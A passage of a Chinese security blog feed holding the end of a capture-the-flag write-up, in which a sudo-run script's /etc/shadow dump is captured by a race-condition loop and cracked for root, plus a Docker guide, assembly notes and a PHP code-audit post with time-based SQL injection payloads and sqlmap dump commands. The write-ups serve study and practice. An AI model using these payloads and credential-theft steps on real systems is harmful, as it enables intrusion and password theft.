00000040: c389 c3ab c28f c3a9 c391 c392 c39d c38d  ................
00000050: c390 c285 c3aa c386 c3a1 c399 c39e c3a3  ................
00000060: c296 c392 c391 c288 c390 c3a1 c399 c2a6  ................
00000070: c395 c3a6 c398 c29e c28f c3a3 c38a c38e  ................
00000080: c38d c281 c39f c39a c3aa c386 c28e c39d  ................
00000090: c3a1 c3a4 c3a8 c289 c38e c38d c39a c28c  ................
000000a0: c38e c3ab c281 c391 c393 c3a4 c3a1 c39b  ................
000000b0: c38c c397 c289 c281 76                   ........v
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;user flag&lt;/h2&gt;
&lt;p&gt;得到密钥之后我们再解密即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/key.txt -k alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal -d
k alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal -d
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to /tmp/key.txt...
www-data@obscure:/home/robert$ cat /tmp/key.txt
cat /tmp/key.txt
SecThruObsFTW
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功登陆&lt;/p&gt;
&lt;p&gt;拿到 flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;robert@obscure:~$ ls
BetterSSH  check.txt  out.txt  passwordreminder.txt  SuperSecureCrypt.py  user.txt
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权&lt;/h2&gt;
&lt;p&gt;robert用户登陆之后，&lt;code&gt;sudo -l&lt;/code&gt; 查看能够执行的root命令，发现能够以root身份执行 &lt;code&gt;BetterSSH.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;审计源码发现关键点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with open(&apos;/etc/shadow&apos;, &apos;r&apos;) as f:
    data = f.readlines()
data = [(p.split(&quot;:&quot;) if &quot;$&quot; in p else None) for p in data]
passwords = []
for x in data:
    if not x == None:
        passwords.append(x)

passwordFile = &apos;\n&apos;.join([&apos;\n&apos;.join(p) for p in passwords])
with open(&apos;/tmp/SSH/&apos;+path, &apos;w&apos;) as f:
    f.write(passwordFile)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序会将 &lt;code&gt;/etc/shadow&lt;/code&gt; 写入到 &lt;code&gt;/tmp/SSH&lt;/code&gt; 的某个随机的目录中，于是想到我们只需要写个死循环不断地复制该目录下的文件即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

while True:
    files = os.listdir(&quot;./SSH&quot;)
    for file in files:
        shutil.copy(os.path.join(&quot;./SSH&quot;, file), &quot;./flag&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者使用 &lt;code&gt;shell&lt;/code&gt; 脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;robert@obscure:/tmp$ cat scandir.sh
#/bin/bash
path=$1
while (true); do
    file=$(ls $path)
    if [ &quot;${file}&quot; == &quot;&quot; ]
    then
        continue
    else
        mv $path/$file ./
        break
    fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们执行就会发现 &lt;code&gt;flag&lt;/code&gt; 目录中存在文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;robert@obscure:/tmp/flag$ ls
Tdrs5183
robert@obscure:/tmp/flag$ cat Tdrs5183
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;john 解密得到 &lt;code&gt;mercedes&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;robert@obscure:/tmp$ sudo python3 ~/BetterSSH/BetterSSH.py
Enter username: root
Enter password: mercedes
Authed!
root@Obscure$ ls
Output: SSH
systemd-private-da1116f9cf3e43be847886abe5bdf51e-systemd-resolved.service-zZTUtH
systemd-private-da1116f9cf3e43be847886abe5bdf51e-systemd-timesyncd.service-AkWIWi
vmware-root_574-2990744286

root@Obscure$ cat /root/root.txt
Output: 512fd4429f33a113a44d5acde23609e3
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;做完后感觉并不是很难，但是还是发现自己在代码的能力偏弱，写个脚本要花很长的时间&lt;/p&gt;
</content:encoded></item><item><title>docker基本使用指南</title><link>https://rayepeng.net/posts/docker%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/</link><guid isPermaLink="true">https://rayepeng.net/posts/docker%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/</guid><pubDate>Sun, 02 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;docker 遇到的坑&lt;/h2&gt;
&lt;p&gt;运行的时候不能直接用 &lt;code&gt;./&lt;/code&gt; 指定当前的文件，需要 &lt;code&gt;$PWD&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;一次性清理所有的已经关闭的容器&lt;br /&gt;
&lt;code&gt;docker ps -a | grep Exit | cut -d &apos; &apos; -f 1 | xargs docker rm&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;:ro&lt;/code&gt; 表示只读&lt;/p&gt;
&lt;p&gt;访问受到限制&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653426115.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时目录下的文件权限&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653436093.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重新运行了一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653447982.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看来是文件权限的问题，也就是说docker会默认将文件权限直接复制过来，由于我之前的那个用户是pxy，而docker环境中并没有这个用户，导致就变成了1000&lt;/p&gt;
&lt;h2&gt;移除镜像&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;docker image rm xxxx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;–link 参数&lt;/h2&gt;
&lt;p&gt;自动添加了环境变量&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653523204.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653527989.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;还有这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653537486.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/hosts&lt;/code&gt; 也会更新&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653546884.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;神奇。。&lt;br /&gt;
运行nginx和php-fpm&lt;br /&gt;
&lt;code&gt;docker run --name myphp-fpm -v $PWD/www:/www -d php:5.6-fpm&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ docker run --name runoob-php-nginx -p 8083:80 -d \           
    -v $PWD/www:/usr/share/nginx/html:ro \
    -v $PWD/conf/conf.d:/etc/nginx/conf.d:ro \
    --link myphp-fpm:php \ ----&amp;gt; 注意需要取别名
nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果不取别名的话直接闪退，别名可以理解成对应的主机地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653561167.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后开始折腾docker-compose.yml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;2&apos;
services:
  nginx:
    image: nginx:latest
    volumes:
      - ./conf/conf.d:/etc/nginx/conf.d
      - ./www:/usr/share/nginx/html
    depends_on:
      - myphp-fpm
    links:
      - myphp-fpm:php
    ports:
      - &quot;8083:80&quot;
  myphp-fpm:
    image: php:5.6-fpm
    volumes:
      - ./www:/www
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试了多次，&lt;code&gt;links&lt;/code&gt; 需要取别名&lt;/p&gt;
&lt;p&gt;同时文件的权限也很重要，不然会出现无法读取flag的情况&lt;/p&gt;
&lt;h2&gt;Dockerfile 编写&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;WORKDIR&lt;/code&gt; 指定工作目录，这样就能够在执行一些shell命令的时候不需要指明路径了&lt;/p&gt;
&lt;h2&gt;docker无法运行 mysql容器&lt;/h2&gt;
&lt;p&gt;这是由于我偷懒只在本机安装了 mysql 得客户端，没有安装服务端，这也是很神奇了&lt;/p&gt;
&lt;h2&gt;docker运行phpmyadmin&lt;/h2&gt;
&lt;p&gt;我发现并不需要 nginx ,当然如果有nginx的情况下可以做到反向代理比较好一点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &quot;3&quot;
services:
  phpmyadmin:
    image: phpmyadmin/phpmyadmin
    ports: 
      - 8081:80
    links:
      - mysql:db
  mysql:
    image: mysql:5.6
    environment: 
      - MYSQL_ROOT_PASSWORD=123456
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nginx结合mysql&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;2&apos;
services:
  nginx:
    image: nginx:latest
    volumes:
      - ./conf/conf.d:/etc/nginx/conf.d
      - ./www:/usr/share/nginx/html
    depends_on:
      - myphp-fpm
    links:
      - myphp-fpm:php
    ports:
      - &quot;8083:80&quot;
  myphp-fpm:
    image: php/kuozhan
    volumes:
      - ./www:/www
    links:
      - mysql:db
  mysql:
    image: mysql:5.6
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=123456
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nginx配置学习&lt;/h2&gt;
&lt;p&gt;nginx的配置文件以后再单独写，这里先学一点&lt;/p&gt;
&lt;p&gt;怎么理解 nginx和php-fpm的关系呢&lt;/p&gt;
&lt;p&gt;我在配置docker环境的时候意识到nginx和php两个镜像是相互独立的，首先运行php-fpm镜像，将其内部的 &lt;code&gt;/www&lt;/code&gt; 映射到我外部的 &lt;code&gt;./www&lt;/code&gt; 目录中，然后再运行 nginx 镜像，将其 &lt;code&gt;/usr/share/nginx/html&lt;/code&gt; 映射到 &lt;code&gt;./www&lt;/code&gt; 目录，同时还需要做两件事&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;配置nginx，指定解析的脚本目在 &lt;code&gt;/www&lt;/code&gt; 目录中&lt;/li&gt;
&lt;li&gt;连接php-fpm容器，需要将解析到 php 这个域名才行&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>汇编从入门到入土二</title><link>https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%BA%8C/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%BA%8C/</guid><pubDate>Sun, 02 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;内存&lt;/h2&gt;
&lt;p&gt;intel的CPU是采用的小端法来存储数据&lt;/p&gt;
&lt;p&gt;在查看内存的时候，我更愿意按照这样的方式，我认为0号应该代表第一根横线，也就是认为是第一个存储单元的开始，也就是说我觉得 0~1 这个单元存放着 20H，因为这样在后续分析栈的时候比较有用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653048875.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;字单元：存放一个字节型数据的内存单元，也就是两个字节16位，高位放高地址，低位放低地址&lt;/p&gt;
&lt;h2&gt;数据段&lt;/h2&gt;
&lt;p&gt;数据段寄存器默认为 ds&lt;/p&gt;
&lt;p&gt;所以我们要操作内存数据的时候只需要指定偏移即可&lt;/p&gt;
&lt;p&gt;CPU不支持直接将数据送入到段寄存器，需要有寄存器作为中转&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov bx,1000H
mov ds,bx
mov [0],al
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上述代码的含义：先设置ds寄存器为1000H，然后将al中的数据送往这个内存单元(所以我们要移动数据到内存的时候是需要先设置数据段的基地址的)&lt;/p&gt;
&lt;h2&gt;mov指令&lt;/h2&gt;
&lt;p&gt;mov 段寄存器，寄存器&lt;br /&gt;
mov 寄存器，段寄存器&lt;br /&gt;
mov 内存单元，寄存器&lt;br /&gt;
mov 寄存器，内存单元&lt;br /&gt;
mov 段寄存器，内存单元&lt;br /&gt;
mov 内存单元，段寄存器&lt;/p&gt;
&lt;p&gt;但是 add 指令不能直接操作段寄存器和寄存器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653072050.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;数据段&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653090896.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;AX=0，BX=0&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax,1
mov ds,ax
mov ax,[0000] ;AX = 2662H
mov bx,[0001] ;BX = E626H
mov ax,bx     ;AX = 2662H
mov ax,[0000] ;AX = 2662H
mov bx,[0002] ;BX = D6E6H
add ax,bx     ;AX = FD48H
add ax,[0004] ;AX = 2ECC+FD48 = 2C14
mov ax,0      ;AX = 0
mov al,[0002] ;AX = E6H
mov bx,0      ;BX = 0
mov bl,[000c] ;BX = 00H
add al,bl     ;AX = E6H
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;栈&lt;/h2&gt;
&lt;p&gt;任意时刻 &lt;code&gt;SS:SP&lt;/code&gt; 指向栈顶元素&lt;/p&gt;
&lt;p&gt;PUSH 操作的过程&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;SP = SP -2&lt;/li&gt;
&lt;li&gt;SS:SP 指向新的地址&lt;/li&gt;
&lt;li&gt;然后将数据送入到 &lt;code&gt;SS:SP&lt;/code&gt; 指向的地址中&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后就涉及到怎么计算 &lt;code&gt;SP&lt;/code&gt; 的问题了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;只需要记住初始状态栈中没有元素，并且 SP+2 是栈中的第一个存储单元&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653127959.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;POP 指令&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将SS:SP 指向的内存单元数据送入到寄存器中，或者是某个内存单元中&lt;/li&gt;
&lt;li&gt;SP = SP + 2&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PUSH和POP的指令形式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;push 寄存器
pop 寄存器

push 段寄存器
pop 段寄存器

push 内存单元
pop 内存单元
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用栈可以达到交换数据的目的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax,1000H
mov ss,ax
mov sp,0010H
mov ax,001AH
mov bx,001BH

push ax
push bx

pop ax
pop bx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;习题&lt;/h2&gt;
&lt;h3&gt;第一题&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653176153.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax,1000H
mov ds,ax
mov ax,2000
mov ss,ax
mov sp,0010H
push[0]
push[2]
push[4]
push[6]
push[8]
push[A]
push[C]
push[E]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在 1000H~100FH 的内存内容为：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653193364.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本着节约内存的想法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653210499.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然而执行完之后的结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653219446.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看来节约内存不是件好事，于是我重新把 3000:0 作为代码段&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653228997.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这回成功了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653238046.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;第二题&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653248493.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax,2000H
mov ds,ax
mov ax,1000H
mov ss,ax
mov sp,0
pop [E]
pop [C]
pop [A]
pop [8]
pop [6]
pop [4]
pop [2]
pop [0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样的，我先设置 1000:0 处的值&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653258074.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将指令书写到内存中，也就是设置 3000:0 为代码段&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653266322.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在实验的时候，前面一部分数据是可以正常复制的，但是后面就出问题了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653275496.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;暂时没想清楚&lt;/p&gt;
&lt;h2&gt;实验三&lt;/h2&gt;
&lt;p&gt;遇到的问题&lt;/p&gt;
&lt;p&gt;输入指令：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653286041.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是在执行的时候：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653293057.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这是之后要研究的内容；中断机制&lt;br /&gt;
Debug的T命令在修改寄存器SS的指令时，下一条指令也会紧接着执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax,ffff
mov ds,ax
mov ax,2200
mov ss,ax
mov sp,0100
mov ax,[0]     ;ax=C0EAH
add ax,[2]     ;ax=C0FCH
mov bx,[4]     ;bx=30F
add bx,[6]     ;bx=6021H
push ax        ;sp=FEH,修改的内存单元地址是220FEH,内容为C0FCH
push bx        ;sp=FCH,修改的内存单元地址是220FCH,内容为6021H
pop ax		   ;sp=FEH,ax=6021H
pop bx		   ;sp=100H,bx=C0FCH
push [4]       ;sp=FEH,修改的内存单元是220FEH,内容为30F0
push [6]	   ;sp=FCH,修改的内存单元是220FCH,内容为2F31
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653302675.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为什么2000:0 ~2000:f 的内容会发生变化？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580653314559.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;仔细观察发现&lt;br /&gt;
01A3 不知道是什么，但是0b39和0108确实当前指令的地址，也就是执行完 &lt;code&gt;mov ss,ax mov sp,10H&lt;/code&gt; 之后的下一条指令的地址，结合这是在设置栈，不禁想到了函数的压栈，保存了返回地址，但是还有一个 0020 的数据不知道是哪里的&lt;/p&gt;
</content:encoded></item><item><title>代码审计初尝</title><link>https://rayepeng.net/posts/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%88%9D%E5%B0%9D/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%88%9D%E5%B0%9D/</guid><pubDate>Sat, 01 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;任意文件删除&lt;/h2&gt;
&lt;p&gt;文件删除函数只考虑到了白名单路径，但是没有想到 &lt;code&gt;../&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function del_file()
{
	$path = post(&apos;path&apos;);
	$path = str_replace(&apos;../&apos;,&apos;&apos;,$path);
	$dir[0] = &apos;data/backup/&apos;;
	$dir[1] = &apos;images/&apos;;
	$dir[2] = &apos;resource/&apos;;
	$flag = false;
	for($i = 0; $i &amp;lt; count($dir); $i ++)
	{
		if(substr($path,0,strlen($dir[$i])) == $dir[$i])
		{
			$flag = true;
		}
	}
	if($flag)
	{
		if(unlink($path))
		{
			$result = 1;
		}
	}
	echo isset($result) ? $result : 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根目录新建 aaaa.txt&lt;br /&gt;
然后发送请求&lt;br /&gt;
&lt;img src=&quot;./attachments/1580563907589.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功删除文件&lt;/p&gt;
&lt;h2&gt;后台注入&lt;/h2&gt;
&lt;h3&gt;延时注入&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;or if(length(database())=6,sleep(3),0)&lt;/code&gt;&lt;br /&gt;
如果数据库名的长度为6，那么就 &lt;code&gt;sleep(3)&lt;/code&gt;&lt;br /&gt;
我测试的时候数据库名为 &lt;code&gt;xinxiu&lt;/code&gt; ，所以就会出现一定的延时&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580563920089.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;延时注入的其他例子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 判断当前数据库长度 # 当前数据库长度是否为 1 没有延时 不是 
cmd=del_admin&amp;amp;id=3 or if(length(database())=1,sleep(3),0) 
# 延时 表明当前数据库长度为 6 
cmd=del_admin&amp;amp;id=3 or if(length(database())=6,sleep(3),0) 
# 当前数据库第1个字母的ascii码是否为 97 没有延时 不是 
cmd=del_admin&amp;amp;id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0) 
# 延时 表明当前数据库第1个字母的ascii码为 115 即 &apos;s&apos; 
cmd=del_admin&amp;amp;id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0) 
# 当前数据库第2个字母的ascii码是否为 97 没有延时 不是 
cmd=del_admin&amp;amp;id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0) 
# 延时 表明当前数据库第2个字母的ascii码为 105 即 &apos;i&apos; 
cmd=del_admin&amp;amp;id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意这里不能用 and ,因为这个 id=3 的用户实际上不存在，所以就不再需要去执行 and 另一边的语句了(短路！)&lt;/p&gt;
&lt;p&gt;但是如果这个用户存在当然是可以的咯(那样注入就很麻烦了)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580563976163.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是我按照国光的方法使用 sqlmap 失败了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./sqlmap.py -u &quot;http://127.0.0.1/admin.php?/deal/dir-basic/&quot; --cookie=&quot;qaq21129s234bj1q4ammcs7fe5;&quot; --data=&quot;cmd=del_admin&amp;amp;id=3&quot; -p &quot;id&quot; --technique=T --random-agent -v 3 --tamper=&quot;between&quot; -D &apos;sinsiu&apos; -T &apos;php_admin&apos; -C &apos;adm_id,adm_username,adm_password&apos; --dump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580563990735.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;另一处后台注入&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;search_main.php&lt;/code&gt; 文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$global[&apos;key&apos;] = rawurldecode($global[&apos;key&apos;]);
$obj = new goods();
$obj-&amp;gt;set_field(&apos;goo_id,goo_title,goo_x_img&apos;);
$obj-&amp;gt;set_where(&quot;goo_title like &apos;%&quot; . $global[&apos;key&apos;] . &quot;%&apos;&quot;);
$obj-&amp;gt;set_where(&apos;goo_channel_id = &apos;.get_id(&apos;channel&apos;,&apos;cha_code&apos;,&apos;goods&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里忘记过滤了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$obj-&amp;gt;set_where(&quot;goo_title like &apos;%&quot; . $global[&apos;key&apos;] . &quot;%&apos;&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580564002356.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同样的尝试使用 &lt;code&gt;sqlmap&lt;/code&gt; 但是还是失败了(怕是个假的吧)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./sqlmap.py -u &quot;http://localhost/?/search/index.html/key-%27*%20%23/&quot; -v 3 --technique=T -D &apos;sinsiu&apos; -T &apos;php_admin&apos; -C &apos;adm_id,adm_username,adm_password&apos; --dump
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;文件包含&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;admin/basic_func.php&lt;/code&gt; 中：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$global[&apos;channel&apos;]&lt;/code&gt; 参数可控，比如访问 &lt;code&gt;/admin.php?/service/mod-user_sheet/&lt;/code&gt;,那么获取到的是 &lt;code&gt;service&lt;/code&gt; ，之后判断文件是否存在进行包含&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;global $global;
$global = array();
var_dump($_SERVER[&apos;QUERY_STRING&apos;]);
$global[&apos;url&apos;] = $filter($_SERVER[&apos;QUERY_STRING&apos;]);
if($global[&apos;url&apos;] != &apos;&apos;)
{
	$arr = explode(&apos;/&apos;,$global[&apos;url&apos;]); //以 / 做分隔符
	$global[&apos;channel&apos;] = $arr[1];
	var_dump($global);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580564015011.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function main()
{
	global $global,$smarty;
	set_global();
	include_all(&apos;admin/class&apos;);
	set_more_global();
	$path = &apos;admin/admin.php&apos;;
	if($global[&apos;url&apos;] != &apos;&apos;)
	{
		$path2 = &apos;admin/&apos;.$global[&apos;channel&apos;].&apos;.php&apos;; //获取到 $global[&apos;channel&apos;] 这个参数可控
		var_dump(file_exists($path2));
		if(file_exists($path2))
		{
			$path = $path2;
		}
	}
	include($path);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是这里如果传入 &lt;code&gt;../&lt;/code&gt; 那么就会导致 &lt;code&gt;file_exists&lt;/code&gt; 返回错误，所以暂时无能为力&lt;/p&gt;
&lt;p&gt;&lt;code&gt;admin/common.func.php&lt;/code&gt; 文件中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function run($parameter)
{
	global $smarty;
	$path = &apos;&apos;;
	$display = &apos;&apos;;
	extract($parameter); //extract函数存在变量覆盖，但是参数不可控
	$func = &apos;module_&apos;.$module;
	include(&apos;admin/module/&apos;.$path.$module.&apos;.php&apos;);
	$func($parameter);
	if($display != &apos;no&apos;)
	{
		$smarty-&amp;gt;display(&apos;module/&apos;.$path.$module.&apos;.php&apos;);
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;任意写文件&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;common.func.php&lt;/code&gt; 存在一处编辑配置文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580564028890.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然此处是可以随意修改文件的，只是没办法写shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580564041634.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可见过滤还是挺严格的&lt;/p&gt;
